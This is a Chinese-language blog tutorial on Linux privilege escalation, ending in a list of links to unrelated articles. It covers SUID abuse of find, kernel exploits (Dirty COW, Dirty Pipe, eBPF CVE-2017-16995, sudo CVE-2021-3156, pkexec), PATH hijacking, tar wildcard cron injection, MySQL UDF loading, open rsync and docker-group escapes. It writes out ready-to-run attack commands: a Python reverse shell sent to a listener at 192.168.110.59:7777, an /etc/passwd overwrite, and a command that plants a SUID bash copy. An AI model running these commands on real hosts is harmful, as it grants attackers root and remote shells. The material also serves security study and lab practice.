Linux权限提升总结

news2024/11/26 13:24:29

几个信息收集的项目推荐

运行这几个项目就会在目标主机上收集一些敏感信息供我们参考和使用

一个综合探针:traitor

一个自动化提权:BeRoot(gtfo3bins&lolbas)

使用python2运行beroot.py就可以运行程序,然后就可以收集到系统中的大量信息

两个信息化收集:LinEnum linuxprivchecker

运行结束后也会收集到系统中的常见信息

两个漏洞探针:Linux-exploit--suggester&2

┌──(root㉿kali)-[/testlyz2]

└─# python2 linuxprivchecker.py

Linux常见的提权命令

GTFOBinsicon-default.png?t=N7T8https://gtfobins.github.io/

当我们遇到不熟悉的提权命令就可以商店这个网站去查询相关的命令使用

SUID提权

漏洞成因:chmod u+s赐予了suid suid u-s取消suid权限,管理员为了更好地查找文件

相当于windows利用管理权限去运行程序,使用户获得较高权限

提权过程 探针是否有suid 特定的suid利用

案例分析--手动suid提权

find / -user root -perm -4000 -print 2>/dev/null

find:Linux中的查找文件命令。
/:表示从根目录开始搜索。
-user root:表示查找属于root用户的文件。
-perm -4000:表示查找具有suid位设置的文件,suid位的值为4000。
-print:表示将找到的文件路径打印出来。
2>/dev/null:表示将错误信息重定向到/dev/null,即不显示错误信息。

管理员为了更好地管理计算机系统文件,一般情况下Linux系统会赋予find以执行权限,再加上find指令可以执行exec命令,因此我们可以利用find去查找程序带上exec语句去执行命令就可以以suid权限去执行命令,从而达到提权的目的

来探索是否有suid的调用--寻找到哪些程序的执行需要suid权限

使用手动的方法去查找到哪些程序调用了suid权限,但是需要手工排查哪些文件可用

利用脚本进行信息收集,查找到哪些文件是可以被利用的suid权限,方便我们使用

┌──(root㉿kali)-[/LinEnum]

└─# ./LinEnum.sh

┌──(root㉿kali)-[/usr/bin]

└─# chmod u+s find

--  一般root用户会使用chmod u+s的方式去赋予一个程序以suid权限

┌──(kali㉿kali)-[/]

└─$ find 123 -exec whoami \; root root root

普通用户利用find执行命令后可以发现是root权限表示提权成功

利用就可以将cmd命令改为反弹后门的命令进行反弹即可

find whgojp -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.110.59",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
nc -lvp 7777

然后在我们的主机上进行监听即可

执行命令的时候可以使用find 123 -exec whoami \;就可以看到是root权限在执行命令

命令反弹过后我们如果我们使用管理员权限进行命令操作,那么我们就需要使用find命令结合exec进行提权

该漏洞存在于带有 eBPF bpf(2)系统(CONFIG_BPF_SYSCALL)编译支持的Linux内核中,是一个内存任意读写漏洞。该漏洞是由于eBPF验证模块的计算错误产生的。普通用户可以构造特殊的BPF来触发该漏洞,此外恶意攻击者也可以使用该漏洞来进行本地提权操作。

Ubuntu 16.04漏洞复现(CVE-2017-16995)

使用漏扫工具先检测漏洞,检测到漏洞会给出漏洞利用的exp地址,然后下载exp(这是一个c语言写的exp程序),使用编译器编译exp程序,最后执行exp程序就可以直接提权,获得root用户权限

查看当前用户id

来到“tmp”目录下,执行文件perl linux-exploit-suggester-2.pl

linux-exploit-suggester2会直接报告可能的漏洞和exp下载地址

需要目标机器上有perl(一种脚本语言)

可能漏洞情况,利用CVE-2017-16695

上传exp:45010.c

编译

查看id(root)提权成功

脏牛漏洞

脏牛内核漏洞是一种本地提权漏洞,该漏洞是由于COW((Copy-on-Write))机制的实现问题导致的。具体来说,该漏洞利用了Copy-on-Write机制中的一个竞态条件(Race Condition),攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

ps:msf可以使用upload命令将本地的文件上传到目标主机上

形成原因

很多情况下,我们希望能够并行地去处理多个相同的进程(比如我们需要去并行计算一些东西),所以内核中就存在复制进程的操作,而fork()函数就是用来复制进程的函数,它可以拷贝当前进程的内存空间,创建一个新的内存空间,这样我们就拥有了两个完全一样的进程空间。但是这个复制过程是很耗费空间和时间的,因为每个子进程都有和父进程一样大的物理空间,但是这些进程可能并不会执行写的操作,也就是不会对原始的文件进行更改,那这种浪费就是没有必要的,所以我们采取了COW(Copy On Write)技术进行优化。

COW(Copy On Write)技术是一种内存管理技术,它在进程复制时,不会立即为进程分配物理内存,而是为进程建立虚拟的内存空间,将虚拟空间指向物理空间,便于读取文件;只有当需要执行文件写操作的时候,才会复制一份物理内存空间分配给它,然后进程在这个复制完的物理内存空间中进行修改,而不会影响其他进程。换句话说,在COW机制中,当多个进程共享一个只读文件的时候,内核会把该文件的内存映射到这些进程的虚拟地址空间中,这些进程都可以读取该文件的内容,当有进程要修改文件时,就会把这个原始文件的状态改成可写状态,然后内核会将该原始文件复制一份,原始文件再改回只读状态,然后进程就修改这份副本,而原始文件仍然可以被其它进程共享,这就是Copy-on-Write的核心思想。

原始只读文件——>修改为可写状态——>复制原始只读文件——>原始状态改回可读。

但是在这个过程中,存在竞态条件。假如现在多个进程同时共享一个只读文件,那么内核可能会把这个文件复制多次,使得每个进程可以修改,但是在内核将原始只读文件的访问状态从可写改回只读之前,多个进程都可以访问和修改原始文件,导致了竞态条件的产生,如果有恶意进程在这段时间进行了修改,那么修改的就是原始文件,从而产生了漏洞。

该漏洞利用了Copy-on-Write机制中的竞态条件,攻击者可以利用这个竞态条件来获取对一个本来只读的文件的写权限,从而提升为本地管理员权限。

漏洞复现

编译poc 文件

查看系统内核版本和系统版本

复现漏洞

准备用sudo切换为root用户,创建只读文件,再切回cow用户利用poc对文件越权写入。

查看内容

执行POC

查看文件内容

这里可以看到,我们的只读文件内容被改变了。

若文件内容没有改变,说明该系统没有脏牛漏洞。

脏管道漏洞

漏洞详情

新管道缓冲区结构的“flags”成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧的值。非特权本地用户可通过利用此漏洞,可覆盖重写任意可读文件中的数据,从而可将普通权限的用户提升到特权 root。CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞(Dirty Cow),但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

漏洞范围

  • version > 5.8

  • version < 5.16.11、5.15.25、5.10.102

漏洞复现

现在存在两个Poc的利用方式

方式一

https://dirtypipe.cm4all.com/
https://github.com/imfiver/CVE-2022-0847/blob/main/Dirty-Pipe.sh

这里的sh脚本添加了以下命令

gcc exp.c -o exp -std=c99
# 备份密码文件
cp /etc/passwd /tmp/passwd
passwd_tmp=$(cat /etc/passwd|head)
./exp /etc/passwd 1 "${passwd_tmp/root:x/oot:}"
echo -e "\n# 恢复原来的密码\nrm -rf /etc/passwd\nmv /tmp/passwd /etc/passwd"
# 现在可以无需密码切换到root账号
su root

首先编译,编译后备份密码文件然后通过exp去写/etc/passwd来提权。将root所在的那一行,第一个冒号后面的x去掉

/etc/passwd的第二列通常设置为x,表示用户密码保存在/etc/shadow中,而/etc/shadow文件只有root用户可以读取和写入,这样就保护了密码哈希不能被第三方爆破。

最后在后面用户描述的位置多加一个字符,补齐文件长度。最后成功修改/etc/passwd,然后再使用su即可直接免密码切换到root了。

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

需要满足较多的条件,例如对于脚本有执行权限,对于相关的目录有一定的操作权限才行

记得试验后执行如下命令进行密码数据的恢复

rm -rf /etc/passwd
mv /tmp/passwd /etc/passwd

环境变量提权

计算机的管理员编译了程序,给与了程序管理员的运行权限,攻击者尝试对程序进行调试反编译等获取程序执行的逻辑,然后对于有城西中的环境变量进行修改覆盖,导致程序加载后继承管理员权限、

管理员编译程序,给与了程序运行的方案

攻击者对程序的运行 调试和编译了解了程序的大概逻辑

尝试对于程序调用的环境变量进行复制后覆盖,导致程序加载继承权限实现提权

案例分析

在系统中编译一个c语言的程序,功能是实现ps口令的功能

#include<unistd.h>
void main()
{ setuid(0);
  setgid(0);
  system("ps");
}

使用gcc将其编译为可执行程序ps

执行shell程序就会执行ps命令和直接执行ps命令的效果相同

我们再赋予shell程序以执行权限

chmod u+s shell

我们将/bin/bash程序拷贝到当前目录下,并且命名为ps程序

┌──(root㉿kali)-[/testlyz]

└─# cp /bin/bash /testlyz/ps

我们再将当前的文件目录设置到环境变量的目录下

┌──(kali㉿kali)-[/testlyz]

└─$ export PATH=/testlyz:$PATH

然后我们再次执行./ps程序就会执行高权限的bash命令

实战思路

编译的shell程序执行的ps命令,正常情况下因为环境变量的原因回去执行/bin/ps程序去显示计算机中的进程信息,但是我们使用export将我们当前的路径添加到环境变量后 ,我们执行shell命令还是会去执行ps命令,但是当前的ps命令就会转到我们添加的环境变量下的ps程序,就是shell程序(shell程序在编译后给到到了suid权限)

实战情况下,我们会去调试看是否有类似的程序功能去调用计算机中的一些系统程序 我们先编写一个程序去调用系统的ps程序 ps在我们系统环境变量中,为此程序需要去环境变量中调用ps进程 现在我们将/bin/bash这个程序复制到我们当前的testlyz目录下的ps程序 我们将/testlyz目录添加到环境变量中 添加到环境变量中后,我们就可以执行这个程序就会去调用/testlyz/ps程序就会执行shell命令 前期我们在编写程序的时候已经赋予了程序suid权限,为此我们得到的直接就是root权限的cmd

定时任务提权

运维人员在维护网站的时候为了防止数据的丢失,就会写个计时任务将数据进行打包压缩,使用的就是压缩命令tar,由于tar命令可以执行其他目录,为此造成了漏洞

打包文件使用的是tar命令,tar命令可以尝试加入其他参数进行调用其他命令执行,从而导致了提权漏洞

案例分析

创建一个文件夹/testlyz,把他当做一个网站的目录

我们可以写入一个计时任务,定时将目录下的文件进行打包备份

backup.sh的脚本内容就是打包文件夹下的内容

注意切换文件的路径,然后执行压缩指令

就会定时将文件打包为backup.tar.gz

查看内容就是文件夹上的所有内容

我们就实现了定时备份

echo "" > --checkpoint=1#tar后面有 --checkpoint=1表示可以进行命令执行
echo "" > "--checkpoint-action=exec=sh test.sh"#执行test.sh中的内容
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > test.sh#执行完这个内容后可以进行
chmod +s test.sh



-c:创建新的档案文件,相当于打包(-x,相反的操作,拆包)

-f:使用档名,f之后直接加档名,中间不能加其他参数

--checkpoint=n:每写入n个记录之后设置一个检查点,在检查点可以执行任意的操作,操作由--checkpoint-action指定

exec:执行外部命令

实战中我们就需要去检测是否有可以利用的定时任务

执行./bash -p就可以获得管理员权限的bash命令

权限配置不当提权

我们在赋予一个文件权限的时候可以+x赋予程序以执行的权限,但是这个执行权限往往是文件的拥有者拥有但是,如果管理员在执行权限的时候是以chmod 777 file的形式给文件赋予权限的话,攻击者就可以以一个较低权限的用户去修改文件内容如果这个文件是一个计时任务的话就可以参考计时任务提权进行操作(利用计时任务自动运行的特点可以直接写一个反弹命令到文件中去就可以直接进行shell反弹实现提权(计时任务都是高权限执行的任务拿到权限一般为root))针对计划任务可以使用,例如网站后台有一个计划任务是进行后台文件备份的,我们就可以将这个计划任务改为执行反弹命令的权限,计划任务执行后,就可以实现后台上线

在Linux系统中我们可以 查看文件的权限

如果文件是755权限,文件的修改权归创建者所有(一般情况下指的是root权限的用户,普通用户没有修改权限。但是当管理者将文件的用户权限改为777后,所有人就有了修改的权限

不是777权限的文件无法修改

777权限的文件普通人就有了修改的权限

为此,如果计算机中的有的计划任务赋予了777权限,我们就可以修改计划任务,将其中的内容修改为后门上线的指令即可实现后门上线

MDUT自动数据库提权工具

在发现目标主机上有数据库服务的时候可以尝试使用MDUT工具直接进行数据库提权

ps:有可能数据库不支持外连,我们可以使用sql语句让其开启外联,开启外链还有可能连接不上,就是防火墙的出网限制,就需要使用到后期的内网隧道技术进行穿透

下载mysql udf kali poc进行编译

MySQL UDF,即用户自定义函数(User-Defined Function),是允许用户在MySQL中创建特定功能的函数来扩展数据库的功能。

以下是关于MySQL UDF的一些详细说明:

功能扩展:通过编写自己的函数,用户可以为MySQL添加新的功能,这些功能可以针对特定的业务逻辑或计算需求进行定制。
调用方式:UDF在MySQL中的调用方式与系统自带的函数相同,例如NOW()、VERSION()等,可以在SQL语句中直接使用。
编写语言:UDF通常由C或C++编写,并编译成动态链接库文件(在Windows下为DLL文件,在Linux下为SO文件)。
风险考虑:虽然UDF提供了强大的功能扩展能力,但也存在一定的安全风险。例如,如果黑客获取了数据库的高权限账户,他们可能会通过UDF执行恶意代码或系统命令,从而对系统造成损害。因此,在使用UDF时需要谨慎,确保来源可靠,并在必要时进行安全审计。
综上所述,MySQL UDF是一个强大的工具,可以帮助用户根据自己的需求扩展数据库的功能,但在使用时也需要注意安全性和权限控制。

wget https://www.exploit-db.com/download/1518
mv 1518 raptor_udf.c
gcc -g -c raptor_udf.c
gcc -g -shared -o raptor_udf.so raptor_udf.o -lc
mv raptor_udf.so 1518.so

上传或下载1518到目标服务器

wget https://xx.xx.xx.xx/1518.so

进入数据库进行UDF导出

use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/1518.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system函数调用

create function do_system returns integer soname '1518.so';
select do_system('chmod u+s /usr/bin/find');

探测可以利用的suid文件

配合使用find调用执行

touch whgojp
find whgojp –exec "whoami" \;
find whgojp –exec "/bin/sh" \;
id

Rsync未授权访问漏洞

sync是Linux下一款数据备份工具,支持通过rsync协议、ssh协议进行远程文件传输。其中rsync协议默认监听873端口,如果目标开启了rsync服务,并且没有配置ACL或访问密码,我们将可以读写目标服务器文件。

编译及运行rsync服务器:

docker compose build
docker compose up -d

环境启动后,我们用rsync命令访问之:

rsync rsync://192.168.198.135:873/

可以查看模块名列表

如上图,有一个src模块,我们再列出这个模块下的文件

rsync rsync://192.168.198.135:873/src/

这是一个Linux根目录,我们可以下载任意文件:

rsync -av rsync://your-ip:873/src/etc/passwd ./

或者写入任意文件:

rsync -av shell rsync://192.168.198.135:873/src/etc/cron.d/shell

我们写入了一个cron任务,成功反弹shell

Docker提权

Docker环境中,从而可以实现低权限用户访问root etc等一系列敏感目录文件

如果一个普通用户在docker组里面,那么,就可以利用docker服务启动镜像挂载目录,将/root等一系列高权限的用户目录挂载到docker环境中,从而可以实现低权限用户访问root etc等一系列敏感目录文件

实验过程中我们可以现将一个普通用户赋予到docker组下

┌──(root㉿kali)-[~/vulhub/rsync/common]

└─# usermod -aG docker kali

查看kali的属于哪些组

┌──(root㉿kali)-[~/vulhub/rsync/common]

└─# groups kali kali : kali adm dialout cdrom floppy sudo audio dip video plugdev users netdev bluetooth scanner wireshark kaboxer docker

我们可以看到kali的分组已经到了docker组中

然后我们就可以在当前用户(一个权限较小的用户)

┌──(kali㉿kali)-[/root/vulhub/rsync/common]

└─$ ls /root ls: 无法打开目录 '/root': 权限不够

我们可以在当前用户下创建一个docker容器使用挂载语句,在Docker中运行一个Alpine Linux容器,并将主机的/root目录挂载到容器的/mnt目录

┌──(kali㉿kali)-[/root/vulhub/rsync/common]

└─$ docker run -v /root:/mnt -it alpine

(it参数是为了执行bash命令)

再次查看用户权限就可以看到多了一个root权限,提权成功,也可以查看/root目录下的内容了

只要将/etc:/etc挂在成数据卷然后进入容器,这时候直接新建一个管理员用户放到sudo组里就可以了,宿主机也会新建用户

在docker里面执行docker服务就是root特权,享受了高权限的权利,与目录没有直接的关系

sudo提权

Linux操作系统(Ubuntu) Sudo版本 1.8.21p2  Ubuntu 18.04 make命令安装

查看linux及sudo版本

lsb_release -a
sudo -V

简单测试漏洞是否存在

sudoedit -s /

如果返回以sudoedit:开头的错误,则当前系统可能存在安全风险 不受影响的系统将显示以usage:开头的错误。

make命令安装

Sudo apt-get install make

下载exp

Git clone https://github.91chifun.workers.dev//https://github.com/blasty/CVE-2021-3156.git

编译exp

exp提权测试

policykit提权

pkexec 是一个允许授权用户以其他用户身份执行程序的命令行工具

具体来说,pkexecPolicyKit(以前称为 Polkit)的一个组件,这是一个在类Unix操作系统中控制系统范围权限的工具。它提供了一种机制,使得非特权进程(即普通用户或程序)能够以一种有组织的方式与特权进程(如root用户或系统服务)通信。使用 pkexec 可以执行需要提升权限的操作,而无需直接使用root账户登录或操作,这样增加了系统的安全性。

当使用 pkexec 命令时,如果指定了用户名,程序将以该用户的身份执行;如果没有指定用户名,则默认以管理超级用户(通常是root)的身份执行。例如,pkexec visudo 命令允许用户以root权限编辑sudoers文件,而不需要直接作为root用户登录。

此外,在使用 pkexec 时,系统会要求输入当前用户的密码,以验证其具有执行此类操作的权限。这种方式确保了即使非特权用户也能够执行一些需要更高权限的任务,同时保持了系统的安全和稳定。

先检测版本

 pkexec --version pkexec version 122

在当前版本的pkexec版本为0.105,如图:

下载exp编译执行

编译exp

成功利用该漏洞提升权限至root

写在最后

如有错误,请及时指出,谢谢

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1561178.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Hive详解(5)

Hive 窗口函数 案例 需求&#xff1a;连续三天登陆的用户数据 步骤&#xff1a; -- 建表 create table logins (username string,log_date string ) row format delimited fields terminated by ; -- 加载数据 load data local inpath /opt/hive_data/login into table log…

【Java】反射简介,利用反射打印一个类当中的构造函数,方法和属性。

&#x1f4dd;个人主页&#xff1a;哈__ 期待您的关注 我想要通过反射来打印如下效果的类信息。 Student类如下代码所示。 package com.my.reflect;public class Student {public String name;public int age;public Student(){}public Student(String name, int age) {this…

探索组合总和问题(力扣39,40,216)

文章目录 题目前知LinkedList和ArryayList 组合总和I一、思路二、解题方法三、Code 组合总和II一、思路二、解题方法三、Code 组合总和III一、思路二、解题方法三、Code 总结 先看完上一期组合问题再看这一期更加容易理解喔&#x1f92f; 在算法和编程的世界中&#xff0c;组合…

走向国际:区块链行业项目海外市场宣传与运营攻略

随着区块链技术的不断发展和应用&#xff0c;越来越多的区块链项目开始将目光投向海外市场。在全球范围内寻找用户和投资者&#xff0c;扩大品牌知名度&#xff0c;是许多区块链项目的共同目标。然而&#xff0c;要成功进军海外市场&#xff0c;并不是一件容易的事情。本文将深…

Vscode运行python

按住 xtrlshiftp&#xff0c;会出现下面的界面&#xff1a; 然后选择第一个选项&#xff0c;会出现如下的界面&#xff1a; 选择某个环境后就可以使用了。可以右键&#xff0c;如下所示&#xff1a; 就可以运行python程序了

如何在Ubuntu系统部署Z-blog博客结合cpolar实现无公网IP访问本地网站

文章目录 1. 前言2. Z-blog网站搭建2.1 XAMPP环境设置2.2 Z-blog安装2.3 Z-blog网页测试2.4 Cpolar安装和注册 3. 本地网页发布3.1. Cpolar云端设置3.2 Cpolar本地设置 4. 公网访问测试5. 结语 1. 前言 想要成为一个合格的技术宅或程序员&#xff0c;自己搭建网站制作网页是绕…

基于WEB的花卉养殖知识平台

基于WEB的花卉养殖知识平台的设计与实现 摘要 随着人们生活水平及生活质量要求的日益提升&#xff0c;花卉也成为了人们日常生活的调味剂&#xff0c;同时对于花卉的养殖及养护不再是老年人的专利&#xff0c;很多年轻人也在通过花卉的养护来舒缓工作压力&#xff0c;同时通过…

Centos7.X服务器搭建VOS系统的REC录音转换MP3,并支持外呼系统wav转换MP3

由于有的公司客户需要自己下载录音或做话务质检等工作需要&#xff0c;需要从VOS系统中把录音下载到其它服务器使用&#xff0c;但是VOS录音格式是REC格式的&#xff0c;就算下载下来了也无法直接播放&#xff0c;因此我们需要搭建一台转换MP3的服务器来完成需求&#xff01; 外…

EfficientSAM 项目排坑

EfficientSAM 项目排坑 任务过程记录创建环境运行示例 任务 跑通这个项目代码 过程记录 创建环境 readme里没有说具体怎么配置环境&#xff0c;所以可能对我来说还挺困难的。 现把项目git下来&#xff1a; git clone https://github.com/yformer/EfficientSAM.git cd Effi…

插值字符串格式化代码中的感叹号(Python)

在csdn上读到&#xff0c;插值字符串格式化代码中有“!”&#xff0c;进行了一番探究&#xff0c;了解到其中的一点“隐秘”&#xff0c;在此共享。&#x1f92a; (笔记模板由python脚本于2024年03月31日 09:27:59创建&#xff0c;本篇笔记适合对Python字符串格式化有一定认知的…

【C语言】联合体、枚举: 联合体与结构体区别,枚举的优点

目录 1、联合体 1.1、什么是联合体 1.2、联合体的声明 1.3、联合体的特点 1.4、联合体与结构体区别 1.5、联合体的大小 2、枚举 2.1、枚举类型的声明 2.2、枚举类型的优点 3、三种自定义类型&#xff1a;结构体、联合体、枚举 正文 1、联合体 1.1、什么是联合体 联…

OpenHarmony实战:命令行工具hdc安装应用指南

一、工具概述 hdc&#xff08;OpenHarmony Device Connector&#xff09;是为开发人员提供的用于设备连接调试的命令行工具&#xff0c;该工具需支持部署在 Windows/Linux/Mac 等系统上与 OpenHarmony 设备&#xff08;或模拟器&#xff09;进行连接调试通信。 简言之&#xf…

开启 Sora 知识免费课,探索文生视频大模型

4 月 1 日&#xff0c;中国网游先锋&#xff0c;火石控股董事长、风险投资人吴渔夫开启了“跟我学 Sora 知识”的免费课程。他表示&#xff0c;讲述的知识涵盖了 Sora 的产品、技术及未来走向。自 2 月 16 日 Sora 文生视频模型问世以来&#xff0c;我已查阅众多的 Sora 中英文…

记一次对Codis的无知引起的逻辑变更

先提前说明&#xff0c;对Codis的无知是因为Codis不支持一些Redis的命令&#xff0c;而这次的逻辑变更&#xff0c;就是因为使用了PUBLISH&#xff0c;而Codis又不支持PUBLISH导致的。 1. 前言 前段时间的一次需求中&#xff0c;因为设计到多个服务的注册问题&#xff0c;在项…

docker容器添加新端口映射的步骤及`wsl$`目录的作用

在Docker容器已经创建后&#xff0c;需要添加新的端口映射&#xff0c;即对已经存在的Docker容器添加新的端口映射&#xff0c;可以通过以下步骤来添加&#xff0c;即通过修改配置文件的方法。 如何新增端口映射&#xff1f; 查找容器的hash值 docker inspect [容器id或名称…

机器学习在智能音箱中的应用探索与实践:让声音更懂你

&#x1f9d1; 作者简介&#xff1a;阿里巴巴嵌入式技术专家&#xff0c;深耕嵌入式人工智能领域&#xff0c;具备多年的嵌入式硬件产品研发管理经验。 &#x1f4d2; 博客介绍&#xff1a;分享嵌入式开发领域的相关知识、经验、思考和感悟,欢迎关注。提供嵌入式方向的学习指导…

椋鸟数据结构笔记#5:树、二叉树基础

文章目录 树树的相关概念树的表示 二叉树基础二叉树分类满二叉树完全二叉树 二叉树的性质二叉树的存储结构顺序存储链式存储 萌新的学习笔记&#xff0c;写错了恳请斧正。 树 树是一种非线性的数据结构&#xff0c;它是由 n 个节点组成的一个具有层次关系的数据集合。其大概结…

算法学习——LeetCode力扣补充篇3(143. 重排链表、141. 环形链表、205. 同构字符串、1002. 查找共用字符、925. 长按键入)

算法学习——LeetCode力扣补充篇3 143. 重排链表 143. 重排链表 - 力扣&#xff08;LeetCode&#xff09; 描述 给定一个单链表 L 的头节点 head &#xff0c;单链表 L 表示为&#xff1a; L0 → L1 → … → Ln - 1 → Ln 请将其重新排列后变为&#xff1a; L0 → Ln → …

题目:小蓝的神秘行囊(蓝桥OJ 3937)

问题描述&#xff1a; 解题思路&#xff1a; 二维优化01背包模板题。与一维优化01背包不同在于多增加一维。 代码&#xff1a; #include <bits/stdc.h> using namespace std;const int N 1e2 9; int dp[N][N]; //二维的01背包&#xff0c;dp[i][j]&#xff1a;i是体…

【SpringCloud】一文详谈Nacos

&#x1f3e1;浩泽学编程&#xff1a;个人主页 &#x1f525; 推荐专栏&#xff1a;《深入浅出SpringBoot》《java对AI的调用开发》 《RabbitMQ》《Spring》《SpringMVC》《项目实战》 &#x1f6f8;学无止境&#xff0c;不骄不躁&#xff0c;知行合一 文章目录 …